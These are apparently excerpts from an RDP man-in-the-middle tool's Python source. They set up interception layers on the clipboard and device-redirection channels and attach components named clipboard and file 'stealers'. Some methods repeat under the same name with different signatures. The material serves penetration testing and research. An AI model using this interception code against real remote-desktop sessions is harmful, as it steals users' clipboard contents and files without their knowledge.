def buildClipboardChannel(self, client: MCSServerChannel,
server: MCSClientChannel):
"""
Build the MITM component for the clipboard channel.
:param client: MCS channel for the client side
:param server: MCS channel for the server side
"""
clientSecurity = self.state.createSecurityLayer(
ParserMode.SERVER, True)
clientVirtualChannel = VirtualChannelLayer()
clientLayer = ClipboardLayer()
serverSecurity = self.state.createSecurityLayer(
ParserMode.CLIENT, True)
serverVirtualChannel = VirtualChannelLayer()
serverLayer = ClipboardLayer()
clientLayer.addObserver(
LayerLogger(self.getClientLog(MCSChannelName.CLIPBOARD)))
serverLayer.addObserver(
LayerLogger(self.getServerLog(MCSChannelName.CLIPBOARD)))
LayerChainItem.chain(client, clientSecurity, clientVirtualChannel,
clientLayer)
LayerChainItem.chain(server, serverSecurity, serverVirtualChannel,
serverLayer)
mitm = ActiveClipboardStealer(clientLayer, serverLayer,
self.getLog(MCSChannelName.CLIPBOARD),
self.recorder, self.statCounter)
self.channelMITMs[client.channelID] = mitm
def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel):
"""
Build the MITM component for the device redirection channel.
:param client: MCS channel for the client side
:param server: MCS channel for the server side
"""
clientSecurity = self.state.createSecurityLayer(ParserMode.SERVER, True)
clientVirtualChannel = VirtualChannelLayer(activateShowProtocolFlag=False)
clientLayer = DeviceRedirectionLayer()
serverSecurity = self.state.createSecurityLayer(ParserMode.CLIENT, True)
serverVirtualChannel = VirtualChannelLayer(activateShowProtocolFlag=False)
serverLayer = DeviceRedirectionLayer()
clientLayer.addObserver(LayerLogger(self.getClientLog(MCSChannelName.DEVICE_REDIRECTION)))
serverLayer.addObserver(LayerLogger(self.getServerLog(MCSChannelName.DEVICE_REDIRECTION)))
LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer)
LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer)
deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config, self.statCounter, self.state)
self.channelMITMs[client.channelID] = deviceRedirection
if self.config.enableCrawler:
self.crawler.setDeviceRedirectionComponent(deviceRedirection)
if self.attacker:
self.attacker.setDeviceRedirectionComponent(deviceRedirection)
def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSServerChannel:
"""
:type mcs: MCSLayer
:param userID: The mcs user that builds the channel
:param channelID: The channel ID to use to communicate in that channel
:return: MCSServerChannel that handles the device redirection virtual channel traffic from
the client to the MITM.
"""
# Create all necessary layers
channel = MCSServerChannel(mcs, userID, channelID)
securityLayer = self.createSecurityLayer()
virtualChannelLayer = VirtualChannelLayer(
activateShowProtocolFlag=False)
deviceRedirectionLayer = DeviceRedirectionLayer()
Layer.chain(channel, securityLayer, virtualChannelLayer,
deviceRedirectionLayer)
# Create and link the MITM Observer for the server side to the device redirection layer.
# Also link both MITM Observers (client and server) so they can send traffic the other way.
peer = self.client.getChannelObserver(channelID)
observer = PassiveFileStealerServer(
deviceRedirectionLayer, self.recorder,
self.client.deviceRedirectionObserver, self.log)
observer.setPeer(peer)
deviceRedirectionLayer.addObserver(observer)
return channel
def buildClipboardChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSServerChannel:
"""
:type mcs: MCSLayer
:param userID: The mcs user that builds the channel
:param channelID: The channel ID to use to communicate in that channel
:return: MCSServerChannel that handles the Clipboard virtual channel traffic from the client to the MITM.
"""
# Create all necessary layers
channel = MCSServerChannel(mcs, userID, channelID)
securityLayer = self.createSecurityLayer()
virtualChannelLayer = VirtualChannelLayer()
clipboardLayer = ClipboardLayer()
Layer.chain(channel, securityLayer, virtualChannelLayer,
clipboardLayer)
# Create and link the MITM Observer for the server side to the clipboard layer.
# Also link both MITM Observers (client and server) so they can send traffic the other way.
peer = self.client.getChannelObserver(channelID)
passiveClipboardObserver = PassiveClipboardStealer(
clipboardLayer, self.recorder, self.log)
peer.passiveClipboardObserver = passiveClipboardObserver
passiveClipboardObserver.setPeer(peer)
clipboardLayer.addObserver(passiveClipboardObserver)
return channel
def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSClientChannel:
"""
:param mcs: The MCS Layer to transport traffic
:param userID: The mcs user that builds the channel
:param channelID: The channel ID to use to communicate in that channel
:return: MCSClientChannel that handles the Device redirection virtual channel traffic from the server to the MITM.
"""
# Create all necessary layers
channel = MCSClientChannel(mcs, userID, channelID)
securityLayer = self.createSecurityLayer()
virtualChannelLayer = VirtualChannelLayer(
activateShowProtocolFlag=False)
deviceRedirectionLayer = DeviceRedirectionLayer()
Layer.chain(channel, securityLayer, virtualChannelLayer,
deviceRedirectionLayer)
# Create and link the MITM Observer for the client side to the device redirection layer.
self.deviceRedirectionObserver = PassiveFileStealerClient(
deviceRedirectionLayer, self.recorder, self.log)
deviceRedirectionLayer.addObserver(self.deviceRedirectionObserver)
self.channelObservers[channelID] = self.deviceRedirectionObserver
return channel
def buildClipboardChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSClientChannel:
"""
:param mcs: The MCS Layer to transport traffic
:param userID: The mcs user that builds the channel
:param channelID: The channel ID to use to communicate in that channel
:return: MCSClientChannel that handles the Clipboard virtual channel traffic from the server to the MITM.
"""
# Create all necessary layers
channel = MCSClientChannel(mcs, userID, channelID)
securityLayer = self.createSecurityLayer()
virtualChannelLayer = VirtualChannelLayer()
clipboardLayer = ClipboardLayer()
Layer.chain(channel, securityLayer, virtualChannelLayer,
clipboardLayer)
# Create and link the MITM Observer for the client side to the clipboard layer.
activeClipboardObserver = ActiveClipboardStealer(
clipboardLayer, self.recorder, self.log)
clipboardLayer.addObserver(activeClipboardObserver)
self.channelObservers[channelID] = activeClipboardObserver
return channel
